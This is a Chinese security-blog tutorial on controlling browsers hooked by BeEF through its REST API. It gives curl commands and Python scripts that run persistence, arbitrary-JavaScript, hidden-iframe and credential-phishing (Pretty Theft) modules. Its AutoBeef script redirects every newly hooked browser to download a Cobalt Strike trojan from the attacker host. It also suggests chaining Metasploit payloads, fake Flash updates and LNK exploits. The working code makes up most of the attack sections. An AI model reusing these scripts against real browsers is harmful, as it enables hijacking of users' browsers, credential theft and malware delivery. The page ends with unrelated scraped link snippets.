利用BeEF REST API自动化控制僵尸主机
本文首发Freebuf,属于原创奖励计划,未经许可禁止转载。
http://www.freebuf.com/articles/network/137662.html
一. 前言
关于BeEF,不再多介绍,它的强大毋庸置疑,利用它我们可以做很多事情。最近的一些实验,需要用beef批量自动进行控制,发现网上也没有过多关于这方面内容的介绍,于是学习了一下它的API,顺便练习一下python编程,这里把自己的学习内容分享下。本文涉及的一些内容可能具有一定的攻击性,请遵守国家法律,禁止用于非法用途。
二. 通过API控制beef
BeEF从0.4.3.3,版本开始,提供了静态API接口,用户可以通过发送HTTP / JSON请求控制Beef。
我们可以通过程序,批量自动加载执行某些beef的模块,实现比如自动维持权限,Getshell等功能。
在后面的正文里,每一个调用模块的示例中,我都会尝试单独编写代码进行测试,最后,我会将各个部分组合起来,实现一个自动化控制的小demo。本文涉及到的所有代码你都可以在这里找到:https://github.com/ssooking/AutoBeef/。进入正题,我们先启动beef。本机IP:192.168.1.133
- 默认hook js:http://192.168.1.133:3000/hook.js
- 默认hook页面: http://192.168.1.133:3000/demos/basic.html
- 默认管理界面: http://192.168.1.133:3000/ui/panel
当我们启动beef的时候,会自动生成一个静态API key,这个key用于身份认证,我们每次通过API进行控制时,都要添加这个参数值 。需要提到的是,如果你发现后文的API key,session等参数值发生了变化,是因为这篇文章不是一次写完的,测试时因为重新开启beef产生了变化,因此不要纠结,我们应该关注API如何调用。
下面,我们可以创建一个简单的hook页面 ,如xss.html
- <html>
- <head>
- <script src="http://192.168.1.133:3000/hook.js"></script>
- </head>
- </html>
我们也可以访问默认hook页面 http://192.168.1.133:3000/demos/basic.html,为了测试,这里我使用了一台虚拟机,本机也使一个浏览器被hook。在管理面板可以看到主机已经上线。
在控制台,我们能够直接看到被hook的主机,并执行相关攻击模块。那么怎样通过API实现这些功能呢?下面,我们将通过实例进行介绍。在此之前,我们需要知道的是,用于处理我们的API请求的文件,主要存放于beef框架下core目录和core/api目录下,我们可以在该目录下查找并阅读相关源代码,了解功能的实现机制,使用API进行HTTP交互时,默认的交互数据类型为json。
获取API Key
/api/admin/login是用户登录接口,通过该接口登录之后,我们可以得到用于会话认证的API key
我们用curl命令,使用默认的口令提交登录请求,会返回我们的key。这个功能可以被用于后文编写自动化控制脚本。
- curl -H "Content-Type: application/json" -X POST -d '{"username":"beef", "password":"beef"}' http://192.168.1.133:3000/api/admin/login
我们可以用下面这样一个简单的小脚本实现,代码也比较简单,不再多废话
- #!/usr/bin/env python
- # -*- coding: utf- -*-
- # ** Author: ssooking
- import json
- import urllib2
- def getauthkey(host):
- apiurl = host + "api/admin/login"
- logindata = {
- "username":"beef",
- "password":"beef"
- }
- jdata = json.dumps(logindata) # 对数据进行JSON格式化编码
- req = urllib2.Request(apiurl, jdata) # 生成页面请求的完整数据
- response = urllib2.urlopen(req) # 发送页面请求
- resdata = response.read() # 获取服务器返回的页面信息,数据类型为str
- jsondata = json.loads(resdata) # 把数据解析成python对象,此时返回dict数据
- return jsondata['token']
- if __name__ == '__main__':
- host = "http://192.168.1.133:3000/"
- print getauthkey(host)
获取hook主机列表
API中,我们要获取hook主机信息的api接口为:api/hooks。提交请求的格式类似于这样: api/hooks?token=xxxxx。需要的参数token的值是用于身份认证的API key。我们用curl命令发送请求,获取hook主机列表信息。
- curl http://192.168.1.133:3000/api/hooks?token=641640ae3ce89c4da45ee98de341f3e858f62bd3
返回了当前hook的主机情况,返回的json数据格式不太友好,作为测试,我们可以使用json代码格式化工具便于查看。
这里是一个不错的在线json编辑工具:http://tool.lu/json/。我们也可以直接在浏览器中访问url,但是后文涉及提交某些必要的参数时,不能使用这种方式。
json代码经过格式化之后,我们可以看到,有两个主机上线。每个上线主机都有id号来表示身份。
session参数值是后面通过A{I调用执行beef模块时必须的参数,这个值你也可以在Web控制台的Cookie处找到。
我们也可以通过脚本发送类似的请求实现这个获取这些信息,比如下面这个简单的示例代码
- #!/usr/bin/env python
- # -*- coding=utf-8 -*-
- # ** Author: ssooking
- import json
- import urllib2
- def getHookedBrowsers(host,authkey):
- f = urllib2.urlopen(host + "/api/hooks?token=" + authkey)
- data = json.loads(f.read())
- hooked = data["hooked-browsers"]["online"]
- print hooked
- return hooked
- if __name__ == '__main__':
- host = "http://192.168.1.133:3000/"
- key = "e7170da7263c46d8e505ab044017707107a2ee6f"
- getHookedBrowsers(host,key)
如果你想知道某个被hook主机的详细信息,只要加上浏览器session值即可,它的请求格式应该是这样的
- /api/hooks/浏览器session会话值?token=xxxxxxxxxxxxxxx
再来说说怎样调用模块,这部分功能是由/api/modules.rb控制的
列举可调用的模块信息
我们通过/api/modules接口列举出可以调用的模块
- curl http://192.168.1.133:3000/api/modules?token=641640ae3ce89c4da45ee98de341f3e858f62bd3
返回的格式不友好,我们直接在浏览器里访问
我们可以发现,每一个模块都有对应的id号。我们在beef控制台里随便找一个,也可以找到这个id。但是需要注意一下,这个id号会因为你BeEF模块数目的不同有所变化,在编写代码之前你应该确认这个id号。
如果你请求的格式像这样: /api/modules/130?token=xxxxx , 即modules后面加上了具体的模块id号,那么可以得到这个模块的详细信息,比如需要的参数等
所以,如果想要调用某个模块,我们只需要知道这个模块的id,并且在发送请求的的时候提供该模块需要的参数即可。
执行模块时请求的格式是这样的 /api/modules/:session/:module_id (session是被hook的浏览器会话,module_id即为beef模块的id号)
需要注意的是,提交参数时,Content-Type必须为json类型,字符集为 UTF-8,并且请求的主体内容必须是有效的json数据,这在后文有实例。
执行BeEF模块
举个调用例子。
这里使用一个简单的权限维持模块 Confirm Close Tab。这个模块的作用是,受害者在试图关闭选项卡时会向用户显示"关闭确认"对话框,通过这种方式来增加shell的存活时间。相关功能的模块还有 Man-In-The-Browser,Create Foreground iFrame,Create Pop Under。
我们可以看到,这个模块id为177,不需要提供其他参数,那么我们可以用curl模拟这种格式的请求来执行该模块
- curl -i -H "Content-Type: application/json; charset=UTF-8" -d '{}' http://xxxxx/api/modules/浏览器session/模块id?token=xxxx
虽然模块不需要额外的参数,但是因为请求主体必须为json格式,所以我们用 -d '{}' 发送空数据。此时beef终端会有执行成功的提示。
如果你没有这个参数,就会报如图中 Invalid JSON input for module '177' 的错误
在浏览器中验证,当我们点击关闭这个页面时,会弹出确认框,说明成功加载了这个模块。
同样的,我们可以编写脚本执行该模块
- #!/usr/bin/env python
- # -*- coding=utf-8 -*-
- # ** Author: ssooking
- import json
- import urllib2
- def sendConfirm(host, sessionId, authkey):
- postdata = '{}'
- url = host + "api/modules/" + sessionId + "/177?token=" + authkey
- print "[+] URL: " + url
- req = urllib2.Request(url, postdata)
- req.add_header("Content-Type", "application/json; charset=UTF-8")
- f = urllib2.urlopen(req)
- print f.read()
- if __name__ == '__main__':
- host = "http://192.168.1.133:3000/"
- sessionId = "tdipkyoT9fqMsMwrW6oc7esUX74rnuOffhe94T4u2DFRlAjhl5CN47gFikTjccC4YPetBtYhszOqb6MU"
- key = "e7170da7263c46d8e505ab044017707107a2ee6f"
- sendConfirm(host,sessionId,key)
来一个带参数的例子,这次我使用的是Raw JavaScript模块,这个模块允许我们在目标浏览器上执行javascript代码。注意,这些javascript代码不能经过特殊编码。
这个模块的id号为169,我们再来看看它需要的参数,通过下面这样的请求获取模块详细信息
- http://192.168.1.133:3000/api/modules/169?token=be531aa684a8fd9ae86c36a3b062697706d9f2d5
需要提供的参数名为:"cmd",参数内容是我们要执行的Javascript代码,我们可以用curl构造请求进行测试
- curl -i -H "Content-Type: application/json; charset=UTF-8" -d '{"cmd":"alert(\ssooking\);"}' http://192.168.1.133:3000/api/modules/ykH80KnJo0NGgTnRF04kwsE9cuXxI7JaxvBbH4diBxWvNrmYnTt99Vp5Bg8UjMb4rHgBQF08k5pFOLso/169?token=dadd1be063d3a3b4339d84f5bdbbcbb25616b41d36a3b062697706d9f2d5
因为不能用多个单引号,所以我用alert(/ssooking/)代替,但是没有弹出窗口,不过我使用自己编写的脚本执行这个模块就可以成功执行
- #!/usr/bin/env python
- # -*- coding=utf-8 -*-
- # ** Author: ssooking
- import json
- import urllib2
- def execJavascript(host, sessionId, authkey):
- payload={
- "cmd":"alert('Hello ssooking!');"
- }
- apiurl = host + "api/modules/" + sessionId + "/169?token=" + authkey
- print "[+] URL: " + apiurl
- jdata = json.dumps(payload) # 对数据进行JSON格式化编码
- req = urllib2.Request(apiurl, jdata) # 生成页面请求的完整数据
- req.add_header("Content-Type", "application/json; charset=UTF-8")
- response = urllib2.urlopen(req) # 发送页面请求
- resdata = response.read() # 获取服务器返回的页面信息,数据类型为str
- return resdata
- if __name__ == '__main__':
- host = "http://192.168.1.133:3000/"
- sessionId = "ykH80KnJo0NGgTnRF04kwsE9cuXxI7JaxvBbH4diBxWvNrmYnTt99Vp5Bg8UjMb4rHgBQF08k5pFOLso"
- key = "dadd1be063d3a3b4339d84f5bdbbcbb25616b41d"
- print execJavascript(host,sessionId,key)
弹出了窗口
再举个带参数的例子,这次我使用的是Create Invisible Iframe模块,它的功能是创建一个隐藏的Frame。
这个模块的id为174,需要的参数是隐藏的Frame所指向的url地址
先查看一下模块的详细参数
可以看到,这个请求的这个url参数名为"target"。下面进行测试,我们使用python创建一个简单的HTTP服务器
我们用curl构造请求
- curl -i -H "Content-Type: application/json; charset=UTF-8" -d '{"target":"http://192.168.1.133:8000/"}' http://192.168.1.133:3000/api/modules/tdipkyoT9fqMsMwrW6oc7esUX74rnuOffhe94T4u2DFRlAjhl5CN47gFikTjccC4YPetBtYhszOqb6MU/174?token=32c75b5e91ef4e519da119349d2c0cbd7cd23259
执行成功,python HTTP上成功回显,说明我们在目标的浏览器上创建了一个隐藏的iframe,并使其访问了这个url地址
获取模块执行结果
有些模块执行完毕后,我们需要获取返回的数据,比如凭证欺骗模块Pretty Theft,我们想要获取用户输入的认证口令。
我们使用一个简单的windows凭证认证模板
这时候目标浏览器上会弹出认证框
模拟提交了凭证之后,从beef的执行结果中,我们可以看到欺骗到的密码
下面就通过API调用执行该模块,先看下参数
查看模块详细信息,我们可以知道,需要设置的参数有:欺骗对话框类型"choice",背景风格"backing",Logo的图片地址"imgsauce" ,因此请求示例应该像这样:
- curl -i -H "Content-Type: application/json; charset=UTF-8" -d '{"choice":"Windows","backing":"Grey","imgsauce":"http://0.0.0.0:3000/ui/media/images/beef.png"}' http://192.168.1.133:3000/api/modules/ykH80KnJo0NGgTnRF04kwsE9cuXxI7JaxvBbH4diBxWvNrmYnTt99Vp5Bg8UjMb4rHgBQF08k5pFOLso/117?token=dadd1be063d3a3b4339d84f5bdbbcbb25616b41d
执行成功,并且返回了模块执行的id为35。假设我们提交的口令是:test333/123456
我们想要获取受害者提供的这些认证信息,这时候,我们需要这样请求:
- /api/modules/浏览器session/模块id/command_id?token=xxx
比如
Beef与metasploit联用
我们当然不能忘记了metasploit这个神器。Beef与metasploit联用,实在是个大杀器。要想在beef加载metasploit,我们首先需要修改默认的配置文件,修改beef下config.yaml文件
把启用metasploit这个选项值改成true
另外,如果你的metasploit安装位置不包含在默认路径里,需要在beef-xss/extensions/metasploit/config.yaml的文件里设置一下
然后我们启动msf加载msgrpc
msfconsole -x "load msgrpc ServerHost=127.0.0.1 Pass=abc123"
重启beef即可加载metasploit模块
同样的,如果你想调用Metasploit模块,步骤与前面的都一样,先查看改模块的id所需参数等信息,然后构造请求调用这个模块即可,关于metasploit模块调用,因为过两天就要考试了,没有时间做测试,有兴趣的朋友可以试一试。这个是 BeEF-RESTful-API的上一个请求示例。
- curl -H "Content-Type: application/json; charset=UTF-8" -d '{"SRVPORT":"3992", "URIPATH":"77345345345dg", "PAYLOAD":"generic/shell_bind_tcp"}' -X POST http://xxxx/api/modules/浏览器session?token=xxx
三. 编写自动化控制脚本
下面我尝试编写一个简单的自动控制hook主机的脚本,批量执行我提前设定的一些模块。我的思路是定时获取hook主机的session信息 ,存放到一个字典里,如果有新上线的僵尸主机的浏览器session,我们就通过API控制这个浏览器执行我们设定好的Beef模块,并把这个session添加到一个列表里,表示已经执行过。如果检测到某个session已经存在于列表中,说明已经执行过,就不再执行。测试的代码中,我用到了三个模块:Confirm Close Tab,Raw Javascript,Redirect Browser。第一个模块用于增加shell存活时间,第二个模块用于执行javascript代码,第三个模块使浏览器进行跳转下载,我把这个跳转地址指向一个Cobalt Strike生成的测试木马,并模拟受害者自动下载并运行恶意软件。
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- # ** Author: ssooking
- # ** Name: AutoBeef.py
- import json
- import urllib2
- import time
- hostlist = []
- hostdict = {}
- def getauthkey(host):
- apiurl = host + "api/admin/login"
- logindata = {
- "username":"beef",
- "password":"beef"
- }
- jdata = json.dumps(logindata) # 对数据进行JSON格式化编码
- req = urllib2.Request(apiurl, jdata) # 生成页面请求的完整数据
- response = urllib2.urlopen(req) # 发送页面请求
- resdata = response.read() # 获取服务器返回的页面信息,数据类型为str
- jsondata = json.loads(resdata) # 把数据解析成python对象,此时返回dict数据
- return jsondata['token']
- def getHookedBrowsersSession(host,authkey):
- f = urllib2.urlopen(host + "/api/hooks?token=" + authkey)
- data = json.loads(f.read())
- hookonline = data['hooked-browsers']['online']
- for x in hookonline:
- hookid = hookonline[x]['id']
- hookip = hookonline[x]['ip']
- hooksession = hookonline[x]['session']
- if hookid not in hostdict:
- hostdict[hookid] = hooksession
- print "\n[+] Hooked host id: " + bytes(hookid) + "\n >>> IP: " + bytes(hookip) + "\n >>> Session: " + hooksession
- def sendConfirm(host, session, authkey):
- postdata = '{}'
- url = host + "api/modules/" + session + "/177?token=" + authkey
- #print url
- req = urllib2.Request(url, postdata)
- req.add_header("Content-Type", "application/json; charset=UTF-8")
- f = urllib2.urlopen(req)
- print " >>> [+] Module Confirm Close Tab has been Executed ! "
- return f.read()
- def execJavascript(host, session, authkey):
- payload={
- "cmd":"alert('Hello by ssooking!');"
- }
- apiurl = host + "api/modules/" + session + "/169?token=" + authkey
- jdata = json.dumps(payload)
- req = urllib2.Request(apiurl, jdata)
- req.add_header("Content-Type", "application/json; charset=UTF-8")
- response = urllib2.urlopen(req)
- resdata = response.read()
- print " >>> [+] Module Raw JavaScript has been Executed ! "
- return resdata
- def redirectBrowser(host, session, authkey):
- payload = {"redirect_url":"http://192.168.1.133:8000/plugins.exe"}
- apiurl = host + "api/modules/" + session + "/42?token=" + authkey
- jdata = json.dumps(payload)
- req = urllib2.Request(apiurl, jdata)
- req.add_header("Content-Type", "application/json; charset=UTF-8")
- response = urllib2.urlopen(req)
- resdata = response.read()
- jsondata = json.loads(resdata)
- print " >>> [+] Module Redirect Browser has been Executed ! "
- return jsondata
- def createIFrame(host, sessionId, authkey):
- postdata = '{"target":"http://192.168.1.133:8000/"}'
- url = host + "api/modules/" + sessionId + "/174?token=" + authkey
- req = urllib2.Request(url, postdata)
- req.add_header("Content-Type", "application/json; charset=UTF-8")
- f = urllib2.urlopen(req)
- print " >>> [+] Module Create Invisible Iframe has been Executed ! "
- return f.read()
- def autoRunModules(host,session,authkey):
- #sendConfirm(host, session, authkey)
- #execJavascript(host, session, authkey)
- redirectBrowser(host, session, authkey)
- def timeRun(interval,host):
- authkey = getauthkey(host)
- print "[+] AutoBeef is running...."
- print "[+] BeEF KEY is : "+ authkey
- print "[+] Base BeEF API URL: "+ host + "api/"
- print "[+] Hook URL : " + host + "hook.js"
- print "[+] Hook Demo : " + host + "demos/basic.html"
- while True:
- try:
- getHookedBrowsersSession(host, authkey)
- for x in hostdict:
- if hostdict[x] not in hostlist:
- hostlist.append(hostdict[x])
- autoRunModules(host,hostdict[x],authkey)
- time.sleep(interval)
- except Exception, e:
- print e
- if __name__ == '__main__':
- beefhost = "http://192.168.1.133:3000/"
- timeRun(3,beefhost)
代码比较挫,没有什么要说的,容易遇到问题的地方是处理返回的数据类型,需要注意str,dict,list等数据类型的处理与转换。我先只执行一个Redirect Browser模块
程序检测到有新的上线控制僵尸,会控制浏览器自动下载我们的恶意程序
一旦受害者点击这个程序,我们即可进一步获得权限。
当受害者运行恶意软件时,我们可以获得进一步控制权
当然我们也可以执行多个模块,你只需要在autoRunModules函数中添加你想执行的模块即可,比如我再测试执行Confirm Close Tab,Raw Javascript两个模块
但是需要注意的是,有些模块功能上是冲突的,不能一起执行,比如刚才的例子Confirm Close Tab和Redirect Browser。
我们可以执行多个模块,运行截图
到这里也就基本差不多了,只要思路够开阔,就有很多好玩的姿势,下面一些好玩的模块:
Create Invisible Frame + Browser Autopwn :我们可以用metasploit的 Browser Autopwn模块生成一个攻击浏览器的url,然后创建一个隐藏的iframe指向这个url
Raw Javascript : 光是这个就能干很多事,不只是弹框哦~~
Fake Notification Bar ,Fake Flash Update: 伪装浏览器插件,flash升级等,配合执行恶意软件
Pretty Theft: 欺骗认证凭据的,可以试着自己做个模板,哪里能用到?。。报名统计啦,手机投票啦~~
配合一些漏洞
ms10-046 Microsoft Windows Shell LNK Code Execution
CVE-2015-0096 Microsoft Windows Shell SMB LNK Code Execution Exploit
不知道能不能配合永恒之蓝的msf模块~~~~
对于手机,也有很多模块可以使用
关于代码
如果你要使用AutoBeef,你需要对代码进行一些修改使其适应你的beef平台,比如beef主机地址,某个模块的id等等。你可以根据自己的需要添加相关模块,你也可以对其进行优化,使其更加健壮。其实官方也提供了beefapi的库,你可以在这里找到https://github.com/byt3bl33d3r/BeEF-API/blob/master/beefapi.py。通过调用里面的函数,我们也可以很方面地对beef进行控制,但是涉及到执行某个模块时,我们还是需要查看模块详细信息,提供其必要的参数。所以,我建议自己可以动手实现一下,只有这样我们才能进步提高,而且自己写的代码,可以根据自己的需要随时进行拓展修改,遇到问题也能很快解决。
如果你要使用官方提供的beefAPI,你需要把它移植到你的python库中,kali里默认路径是这样:
- sudo cp beefapi.py /usr/lib/python2./dist-packages/
使用的时候从beefapi中导入即可,你可以查看帮助或者阅读其源代码
遇到的问题
测试过程中我使用的是chrome和firefox,并且发现IE,360等浏览器无法正常hook。
四. 最后的话
只是一句话,不要随便点开一个链接。
参考文章
https://github.com/beefproject/beef/wiki/BeEF-RESTful-API
https://github.com/byt3bl33d3r/BeEF-API/blob/master/beefapi.py
利用BeEF REST API自动化控制僵尸主机的更多相关文章
- 白话SpringCloud | 第十一章:路由网关(Zuul):利用swagger2聚合API文档
前言 通过之前的两篇文章,可以简单的搭建一个路由网关了.而我们知道,现在都奉行前后端分离开发,前后端开发的沟通成本就增加了,所以一般上我们都是通过swagger进行api文档生成的.现在由于使用了统一 ...
- 利用Beef劫持客户端浏览器
利用Beef劫持客户端浏览器 环境: 1.Kali(使用beef生成恶意代码,IP:192.168.114.140) 2.一台web服务器(留言板存在XSS跨站脚本漏洞,IP:192.168.11 ...
- 利用百度词典API和Volley网络库开发的android词典应用
关于百度词典API的说明,地址在这里:百度词典API介绍 关于android网络库Volley的介绍说明,地址在这里:Android网络通信库Volley 首先我们看下大体的界面布局!
- Atitit.gui api自动化调用技术原理与实践
Atitit.gui api自动化调用技术原理与实践 gui接口实现分类(h5,win gui, paint opengl,,swing,,.net winform,)1 Solu cate1 Sol ...
- 利用百度语音API进行语音识别。
由于项目需要,这几天都在试图利用百度语音API进行语音识别.但是识别到的都是“啊,哦”什么的,我就哭了. 这里我只是分享一下这个过程,错误感觉出现在Post语音数据那一块,可能是转换问题吧. API请 ...
- 利用Google Speech API实现Speech To Text
很久很久以前, 网上流传着一个免费的,识别率暴高的,稳定的 Speech To Text API, 那就是Google Speech API. 但是最近再使用的时候,总是返回500 Error. 后来 ...
- 利用百度地图API,获取经纬度坐标
利用百度地图API,获取经纬度坐标 代码很简单,但在网上没找到现成的获取地图经纬度的页面. 就是想,给当前页面传递一个经纬度,自动定位到此经纬度.然后可以重新选择,选择完返回经纬度. 效果如下: 源代 ...
- 利用HTML5 Geolocation API在百度地图中显示你的位置
代码: <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <met ...
- 利用未公开API获取终端会话闲置时间(Idle Time)和登入时间(Logon Time)
利用未公开API获取终端会话闲置时间(Idle Time)和登入时间(Logon Time)作者:Tuuzed(土仔) 发表于:2008年3月3日23:12:38 版权声明:可以任意转载,转载时请 ...
随机推荐
- SpringCloud Ribbon的分析
Spring Cloud Ribbon主要用于客户端的负载均衡.最基本的用法便是使用RestTemplate进行动态的负载均衡.我们只需要加入如下的配置便能完成客户端的负载均衡. @Configura ...
- Spring系列(七) Spring MVC 异常处理
Servlet传统异常处理 Servlet规范规定了当web应用发生异常时必须能够指明, 并确定了该如何处理, 规定了错误信息应该包含的内容和展示页面的方式.(详细可以参考servlet规范文档) 处 ...
- SB!SB!SB!
Topic Link http://ctf5.shiyanbar.com/stega/ste.png SB!SB!SB! 其实很简单,可别真的变成 SB! 1)根据链接提示,直接用stegsolve ...
- leetcode — best-time-to-buy-and-sell-stock
/** * Source : https://oj.leetcode.com/problems/best-time-to-buy-and-sell-stock/ * * * Say you have ...
- 补习系列-springboot-使用assembly进行项目打包
目录 springboot-maven插件 1. 项目打包Jar 2. 项目完整构建 3. 本地包依赖 参考文档 springboot-maven插件 springboot-maven插件 repac ...
- ES6躬行记(20)——类
ES6正式将类(Class)的概念在语法层面标准化,今后不必再用构造函数模拟类的行为.而ES6引入的类本质上只是个语法糖(即代码更为简洁.语义更为清晰),其大部分功能(例如继承.封装和复用等)均可在E ...
- C#在截屏时将截屏之前需要隐藏的控件也截入
最近我在项目中遇到一个让我十分头疼的问题,就是我在截屏时也将截屏之前隐藏的控件也截入了. 情况:我在Winform窗体有个截屏功能按钮,实现在调用WPF全屏后截屏,但在截屏WPF界面前将界面里的一个L ...
- 【Linux】Linux上安装Nginx
本文介绍Linux环境安装Nginx,这里用的Linux系统是CentOS 7.2. 1. 从Nginx官网下载Nginx.这里用的版本为:1.13.6. 2. 将下载下来的Nginx上传到Linux ...
- SQL使用总结
本文为转载:对于SQL的学习与使用,推荐大家去这儿,讲的很系统: http://www.w3school.com.cn/sql/index.asp 练习SQL的使用,推荐大家去这里: https:// ...
- Elasticsearch系列(4):基本搜索
空搜索 搜索API的最基础的形式是没有指定任何查询的空搜索 ,它简单地返回集群中所有索引下的所有文档,如下命令: GET /_search 返回如下结果: 查询结果解释: 1,hits 返回结果中最重 ...